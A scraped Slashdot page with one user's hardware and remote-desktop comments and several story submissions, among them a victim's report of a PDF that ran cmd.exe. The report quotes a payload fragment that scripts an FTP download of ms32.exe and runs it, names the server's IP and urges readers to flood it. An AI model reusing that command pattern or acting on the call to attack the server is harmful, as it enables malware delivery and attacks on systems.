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Comment Re:power consumption (Score 2) 151

Despite what many other commenters will say, no, it isn't a power hog compared to ARM. Or at least it doesn't have to be. Intel/AMD/VIA don't yet offer processors that have as low power as ARM (although some are pretty power/performance efficient depending on your workload), but they will within the next year for smartphones and tablets. On modern manufacturing processes the "x86 tax" becomes almost non-existant.

Comment Re:Still requires creation of user "nx"? Noooooo! (Score 1) 257

Yes, you could have stopped after the word "think".

We have and use VNC. It's supported and we depend on it. I did install and enable unsupported VNC clients like TightVNC to try to get some more speed. NX is the next step. You can argue whether or not users should be installing potentially insecure networking servers, and you can argue about productivity.

When working remotely everything is over VPN anyway.

Comment Still requires creation of user "nx"? Noooooo! (Score 1) 257

I work for a large corporation that uses VNC,and several years ago I tried to install NX at work, hoping to get a speed boost when working remotely. Unfortunately, the creation of a user "nx" was required. I'm not in the IT department, I don't have root access, and they IT department had no interest in deploying NX. So I gave up.

I saw this announcement and hoped that an "nx" user would no longer be required, but it appears this is still necessary. If I could get it installed and it actually worked better I know the other engineers would jump on it and eventually IT would be forced to support it.

Anyone have a workaround?

Comment Re:Work Experience (Score 1) 834

Completely disagree. A CompE master's gets you nothing except a bit of a pay increase (but it will take years before the increase makes up for the year(s) you could have been working with a BS), and many many microprocessor designers have a BS.

Comment Re:It can't do HD.Fail. (Score 2, Informative) 97

But this ISN'T that old, craptastic, power-hungry chipset used by most Atom netbooks. It's a new chipset code-named Poulsbo designed specifically to go with Atom. Quoting a tomshardware.com article:

"The Atom Z500 has a TDP that varies between 0.85 W (for the 800 MHz version without HyperThreading) and 2.64 W (for the 1.86 GHz model with HyperThreading enabled). The SCH consumes approximately 2.3 W in its most evolved version, which brings the SCH + CPU together to under 5 W. By comparison with existing solutions, thatâ(TM)s obviously a big step forward â" the Via Nano, for example, is announced at 25 W for the 1.8 GHz version and a Celeron-M ULV at 5 W at 900 MHz."

http://www.tomshardware.com/reviews/intel-atom-cpu,1947-3.html

In addition, the Atom Z-series/Poulsbo combo supports the C6 idle power state where the CPU saves away its architectural state in a small SRAM which remains powered up while the rest of the CPU shuts off entirely. Idle power for the processor is somewhere from .01W - .1 W (this is from what I remember reading somewhere, but I can't find a link right now). Not sure what the chipset's powercomsumption is like when idle.

The biggest known downside to this chipset is that it supports 1 GB of RAM max.

Comment Re:It can't do HD.Fail. (Score 5, Informative) 97

From what I've read elsewhere, the chipset involved does have video decode acceleration support. After googling, anandtech.com has an article that says that the chipset can support 1080i and 720p decode. A tomshardware.com article says that it can do hardware decode of H.264, MPEG2, MPEG4, VC1, and WMV9 formats.

Programming

Submission + - Valve's Steam API uncovered (myg0t.com)

Anonymous User writes: "Programmers from the internet harassment group known as "myg0t" have recently released a source code to the public exposing some sensitive "hidden material" in the Steam.exe and steam_api.dll, this hidden content includes Steam's billing interface, utility interface, client interface, user interface and many login exports from steam.

In the news post it states:
"This is a 100% complete Steam API hooking base written by [myg0t]s0beit. It will allow you access to several well hidden interfaces inside the Steam application and some games as well. Here is a short run-down of the basic interfaces it will allow you to completely hook:

ISteamFriends — the steam friends and community class
ISteamUser — user information on the steam client
ISteamClient — client information
ISteamBilling — steam billing information
ISteamUtils — misc steam utilities

It's important to mention that while this is 100% fully functioning, it is outdated as of the release of TF2; they use several new interfaces inside the game and have moved other interfaces into the Steam application itself or vice-versa. That said, the current updated base will not be released anytime soon if ever, if you can understand this release well enough then this should be a non-issue for you.

We must insist that you use this proof of concept code only for non-harmful, peaceful, education purposes only and that it not be discussed anywhere outside of our news forum. myg0t does not and has never condoned illegal activity of any kind or activities with otherwise malicious intent. This is a learning tool so please use it responsibly, as we have for the last year."

No doubt this is something Valve must take seriously, hopefully they will fix this soon."

The Internet

Submission + - Lawsuit in open-source tuning land (pgmfi.org) 1

David Blundell writes: "I owned and operated the largest online site dedicated to tuning and open-source solutions for engine management — chipping and tuning engine computers, basically. From May 2002 till the beginning of this year. Last year, I received a Cease and Desist notice (which was forwarded to the EFF, who were very helpful) for a matter involving a posting on the forum that was removed within 48 hours of telephonic notification. The company involved was pursuing the matter rather aggressively initially, but I thought the matter had been dropped earlier this year after I sold the site until I was surprised by a lawsuit last week.

If anyone is curious about the details of this mess and how it has been handled up to this point, go check out http://forum.pgmfi.org/viewtopic.php?p=95637 (don't worry — no registration required) — it's probably an hour read, but there is a timeline of events and all legal correspondence exchanged over this mess is available for your viewing pleasure.

I'm trying to spread awareness of this matter because I think it is important for forum operators everywhere to understand the risks involved with companies willing to aggressively protect their IP. Also, I think there are some rather novel (well, at least interesting?) issues here:

-The "software" in question here was a backdoor. An existing product's protocols were used in a manner that the original authors had not intended. A software license agreement forbidding reverse engineering may have been violated in the course of creating the "software." Who should be the target? Hosting provider or author? Limitations? At what point does a product that makes use of reverse-engineered protocols (something like Samba, for instance) become a violation of intellectual property?

-The company suing me presumably are laying claim to the code that the downloader can access as their intellectual property. This code was originally written by Honda, reverse engineered and presumably modified by Hondata, who are suing me. Honda could care less about the matter. Without any patents or copyrights, do Hondata have an intellectual property claim to code that they didn't exclusively write (merely modified) running on hardware they did not design, build or sell?

-What are the limits on the duty of care of a forum hosting provider? Moderator? Mere domain owner?

-Is this a case of a large, established commercial provider using strong-armed legal tactics to manipulate and push around an open-source project (and/or take over it, see demands in link), or were there more legitimate claims?

I'm hoping to receive some answers to these questions from an IP attorney, and I'll be sure to share as things progress.

Thanks for listening."

Patents

Submission + - MPEG LA: "Vizio HDTV success from patent viola

schwit1 writes: A recent article in the Wash Post talked about Vizio's fast rise to the top of HDTV sales. Larry Horn, CEO of MPEG LA claims "that unlike other manufacturers mentioned (Samsung, Philips, Sony and Sharp), Vizio reduces costs in part by failing to pay for a license under patents enabling the core digital compression technology used in all high-definition televisions, including its own.

What's more, it encouraged the unauthorized use of intellectual property, which in this case is readily available to all high-definition television suppliers, including Vizio, on fair, reasonable nondiscriminatory terms."

Is MPEG LA a patent troll? Is Larry upset because Vizio is using someone else's HD technology? If a violation is occuring where's the lawsuit?
Security

Submission + - Device to audit and replay RDP, SSH, and Telnet tr (balabit.com)

eldar40k writes: "I have visited the Systems exhibition this week (Munich, Germany), and came across a device that can transparently control and audit RDP and SSH traffic, store and search the results, and even replay the sessions like a movie. You can even search in the texts displayed by the server or typed by the client, for both RDP and SSH. Trial VMWare version is provided upon request at sales@balabit.com."
United States

Submission + - Bill to Restore Checks on Federal Goverment (jbs.org)

Anonymous writes: "American Freedom Agenda Act of 2007 (H.R. 3835) Introduced
Congressman Ron Paul introduced The American Freedom Agenda Act which would allow Guantanamo detainees to petition for a writ of habeas corpus under section 2241 of title 28, United States Code, it would bar presidential signing statements, bar evidence obtained from torture be used as evidence, protect journalists critical of the federal government, and restore checks and balances to the government."

Worms

Submission + - PDF virus targets Acrobat READER 1

hoggoth writes: The recent outbreak of the 'Peachy' virus showed that PDFs can carry dangerous content. All of the news outlets are repeating Adobe's statement that only the full Acrobat suite can activate the virus, that the free Acrobat Reader is immune. However as a victim of a PDF carried virus I can tell you it's not true. This morning I got an email from a financial services firm I have an account with to an email address I set up just for that financial services firm. This led me to stupidly trust the email that contained a PDF attachment. When I clicked on it a window popped up and went away; very suspicious behavior. So I looked closer at the PDF file and found that it contained a mailto: that put some DOS commandline instructions in a file and executed them, which contacted a server, downloaded an executable, and ran it. The meat of the offending part is this: 14 0 obj7&@echo binary>>7&@echo get /ms32.exe>>7&@echo quit>>7&@ftp -s:7 -v -A>nul&@del /q 7&@start ms32.exe&\" \"&\" "con.cmd)/S/URI>> This calls cmd.exe with a long command that turns off your firewall, FTP's into the offending site, downloads a rogue version of ms32.exe, and runs it. The virus installed a number of files to my computer and modified the startup to run them. I *think* I got rid of it all, although one can never be sure today with rootkits and all. I googled all over, and I think this is 'breaking news'. Every outlet is still saying Acrobat Reader is safe. Entities to Hate: The virus server at 203.121.69.116 Financial services institutions that sell your private email address to marketers. Adobe for allowing PDFs to execute cmd.com. Adobe for lying about Acrobat Reader being safe. Microsoft for their entire insecure operating system. Come on, outside data is allowed to run and TURN OFF THE FIREWALL?! Please feel free to pound that FTP server's IP address with all the hate you can muster.

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